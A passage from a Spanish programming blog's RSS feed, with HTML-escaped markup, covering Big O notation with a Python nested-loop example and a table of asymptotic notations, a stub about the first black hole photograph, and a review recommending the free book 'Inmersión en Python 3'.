style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;printArray&lt;/span&gt;(array):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementX &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;#un paso que depende de array (n)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(elementX)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementX &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;#un paso que depende de array &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; elementY &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; array: &lt;span style=&#34;color:#78787e&#34;&gt;#un paso por cada paso anterior (n al cuadrado)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(elementX, elementY)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el caso anterior nosotros tenemos una notación O(n + n2). Un paso al principio que depende de la longitud del array y luego un &amp;rsquo;n&amp;rsquo; al cuadrado. Pero otra característica de big O es que al sumar términos solo los términos dominantes (aquellos con el exponente más alto) cuentan, por lo que la expresión anterior se transformaría en O( n2).&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-notacion-big-o-para-medir-el-rendimiento&#34;&gt;La notación big O para medir el rendimiento&lt;/h2&gt;&#xA;&lt;p&gt;La notación big O nos muestra que dos algoritmos para resolver un mismo problema se pueden comportar de manera diferente. Es importante evaluar cual es el algoritmo más adecuado para cada situación.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/ZZuD6iUe3Pc?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;Sobre algoritmos hay muchísimo de que hablar, esto es meramente una pincelada, si quieres ahondar en este tema te recomiendo un libro muy interesante llamado &lt;strong&gt;&lt;em&gt;The Algorithm Design Manual&lt;/em&gt;&lt;/strong&gt; escrito por Steven S. Skiena, donde se trata el tema de algoritmos y también notación big O con mucha más profundidad que en esta publicación. Te lo recomiendo muchísimo, es un libro que debería formar parte de tu acervo de consulta sí o sí. Puedes adquirirlo en Amazon u otras tiendas en linea.&lt;/p&gt;&#xA;&lt;p&gt;Si buscas algo más visual para introducirte en el mundo de los algoritmos mira este excelente documental de la BBC:&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/Q9HjeFD62Uk?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;h2 id=&#34;notaciones-alternativas-de-big-o&#34;&gt;Notaciones alternativas de Big O&lt;/h2&gt;&#xA;&lt;p&gt;Al medir la eficiencia de un algoritmo, utilizamos &lt;strong&gt;notaciones asintóticas&lt;/strong&gt; para describir la tasa de crecimiento de la complejidad temporal o espacial de un algoritmo. Como puedes imaginar, las más utilizadas son &lt;strong&gt;Big-O (para el análisis del peor caso)&lt;/strong&gt; y &lt;strong&gt;Theta (para el análisis preciso del caso promedio)&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Notación&lt;/th&gt;&#xA;          &lt;th&gt;Analogía (Desigualdad)&lt;/th&gt;&#xA;          &lt;th&gt;Significado&lt;/th&gt;&#xA;          &lt;th&gt;Ejemplo&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Big-O (O)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;(f(n) &amp;lt; eq c ⋅ g(n))&lt;/td&gt;&#xA;          &lt;td&gt;Peor caso (límite superior)&lt;/td&gt;&#xA;          &lt;td&gt;(2n = O(n))&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Omega (Ω)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;(f(n) &amp;gt; eq c ⋅ g(n))&lt;/td&gt;&#xA;          &lt;td&gt;Mejor caso (límite inferior)&lt;/td&gt;&#xA;          &lt;td&gt;(n^2 = Ω(n))&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Theta (Θ)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;(c1 g(n) &amp;lt; eq f(n) &amp;lt; eq c2 g(n))&lt;/td&gt;&#xA;          &lt;td&gt;Comportamiento exacto&lt;/td&gt;&#xA;          &lt;td&gt;(3n + 5 = Θ(n))&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Little-o (o)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;(f(n) &amp;lt; c ⋅ g(n))&lt;/td&gt;&#xA;          &lt;td&gt;Más lento estricto&lt;/td&gt;&#xA;          &lt;td&gt;(n = o(n log n))&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Little-omega (ω)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;(f(n) &amp;gt; c ⋅ g(n))&lt;/td&gt;&#xA;          &lt;td&gt;Más rápido estricto&lt;/td&gt;&#xA;          &lt;td&gt;(n^2 = ω(n log n))&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;donde-practicar-algoritmos&#34;&gt;¿Dónde practicar algoritmos?&lt;/h2&gt;&#xA;&lt;p&gt;Te dejo algunas opciones para practicar algorítmos.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/un-problema-de-algoritmos-al-dia/&#34;&gt;newsletter de un algorítmo al día&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/top-5-problemas-de-algoritmos-favoritos-en-codewars/&#34;&gt;codewars&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.hackerrank.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;HackerRank&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Amo la astrofísica y trato de estar al tanto de los nuevos descubrimientos que suceden; ya sean cosas triviales, como el descubrimiento de un nuevo planeta; o significativas, como las hipotéticas esferas de Dyson que juran encontrar cada mes. Pero el descubrimiento de esta ocasión fue fantástico.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CU0Wp83Lo09&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CU0Wp83Lo09&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;p&gt;El pasado abril del 2019 se publicó la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.bbc.com/mundo/noticias-47880446&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;primera fotografía de un agujero negro&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>El mejor Libro de Python Inmersion en Python</title>
      <link>https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/</link>
      <pubDate>Wed, 31 Jul 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;La mayor parte del contenido en internet sobre el lenguaje de programación Python está en ingles; lo anterior no es nada nuevo, solo basta con darse una vuelta por nuestra librería favorita y preguntar por los libros disponibles en ambos idiomas. El material sobre Python en inglés, además de ser abundante, también es bastante bueno y se encuentra mucho más actualizado que su contraparte en español. Sin embargo, hay un par de excelentes libros para aprender Python en español y uno que otro gratuito, hoy escribiré sobre uno de ellos.&lt;/p&gt;&#xA;&lt;p&gt;Si te interesa conocer el resto de libros, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/mis-libros-favoritos-para-aprender-a-programar-en-python/&#34;&gt;aquí está mi lista de recursos favoritos para aprender Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-mejor-libro-para-aprender-a-programar-en-python-en-mi-opinion&#34;&gt;El mejor libro para aprender a programar en Python en mi opinión&lt;/h2&gt;&#xA;&lt;p&gt;El nombre del libro en español es &lt;em&gt;Inmersión en Python 3&lt;/em&gt;, es una traducción hecha por &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.jmgaguilera.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;José Miguel González Aguilera&lt;/a&gt;&#xA;, del popular libro &lt;em&gt;Dive into Python 3&lt;/em&gt; escrito por Mark Pilgrim.&lt;/p&gt;&#xA;&lt;p&gt;El lenguaje del libro es bastante sencillo, los ejercicios están muy bien explicados y la traducción es excelente; bastante fiel a la fuente original.&lt;/p&gt;&#xA;&lt;p&gt;Los ejemplos de código están muy cuidados e incluso algunos nombres de funciones y variables están traducidos, para hacer más legible el código a aquellas personas que no dominan el idioma inglés. Los errores de traducción son mínimos, prácticamente insignificantes y palidecen ante el grandioso trabajo de traducción hecho por el Sr. José Miguel González.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;que-temas-se-ven-en-dive-into-python-inmersion-en-python&#34;&gt;¿Qué temas se ven en Dive into Python (Inmersion en Python)?&lt;/h2&gt;&#xA;&lt;p&gt;Este libro es una introducción al lenguaje, pensada para explicar el lenguaje y sus matices desde cero. Los primeros capítulos tratan sobre la instalación del lenguaje en los principales sistemas operativos, así como su sintaxis.&lt;/p&gt;&#xA;&lt;p&gt;Tras un par de capítulos, el autor nos desarrolla el tema del manejo de los datos nativos de Python; booleanos, números, listas, tuplas, conjuntos, diccionarios, así como sus métodos más comunes. Al terminar la breve introducción al lenguaje, el autor nos da un paseo por conceptos más avanzados tales como:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Explicación de como Python transforma los bytes en cadenas de texto&lt;/li&gt;&#xA;&lt;li&gt;Eficiencia de algoritmos a nivel muy básico&lt;/li&gt;&#xA;&lt;li&gt;Generadores&lt;/li&gt;&#xA;&lt;li&gt;Iteradores&lt;/li&gt;&#xA;&lt;li&gt;Cierres&lt;/li&gt;&#xA;&lt;li&gt;Expresiones regulares&lt;/li&gt;&#xA;&lt;li&gt;Manejo de xml&lt;/li&gt;&#xA;&lt;li&gt;Solicitudes http&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Los temas anteriores son tratados mientras se busca la solución a un problema. Por ejemplo: las expresiones regulares se explican tratando de crear una función que transforme números romanos en números arábigos y viceversa, los iteradores son aplicados con el fin de crear una pequeña aplicación que transforme las palabras en plural (siguiendo las reglas gramaticales del idioma inglés, por supuesto).&lt;/p&gt;&#xA;&lt;p&gt;Al tratar los temas como pequeños proyectos el autor plantea interrogantes a las que se puede enfrentar un programador; como la disyuntiva entre priorizar la velocidad del código o la memoria usada por el programa. Para finalizar cada capítulo el autor recomienda material adicional para profundizar en los conceptos tratados a lo largo del capítulo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;que-hace-a-dive-into-python-tan-bueno&#34;&gt;¿Qué hace a Dive into Python tan bueno?&lt;/h2&gt;&#xA;&lt;p&gt;Bueno en mi opinión lo que hace superior a Dive into Python es que el libro es conciso, intenta explicar las bases y los aspectos más útiles del lenguaje de una manera corta.&lt;/p&gt;&#xA;&lt;p&gt;No tiene contenido innecesario en aras de aparentar verse más completo y tampoco peca de quedarse corto. Se centra en enseñar lo necesario, a diferencia de otros libros que intentan abarcar todo el lenguaje y terminan siendo abandonados por el lector.&lt;/p&gt;&#xA;&lt;h2 id=&#34;donde-descargo-o-compro-dive-into-python&#34;&gt;¿Dónde descargo o compro Dive into Python?&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;Inmersión en Python 3&lt;/em&gt; es de los mejores materiales que se puede encontrar en internet sobre Python y, por si eso no bastara, se encuentra licenciado bajo una licencia Creative Commons 3.0, lo que lo vuelve de libre acceso al público en general. Yo te recomiendo descargarlo directamente desde la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/jmgaguilera/inmersionenpython3&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;cuenta de github del traductor.&lt;/a&gt;&#xA; O también puedes comprar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4oinuzN&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Dive into Python en su versión en inglés&lt;/a&gt;&#xA; en tu libreria favorita.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;strong&gt;Conocimientos previos recomendados:&lt;/strong&gt;&lt;/strong&gt; HTML y XML&lt;br&gt;&#xA;&lt;strong&gt;Recomendado para leerlo:&lt;/strong&gt; 8/10&lt;br&gt;&#xA;&lt;strong&gt;Idiomas:&lt;/strong&gt; Español, Inglés&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Si quieres leer sobre otro excelente para aprender sobre Python visita mi entrada que habla 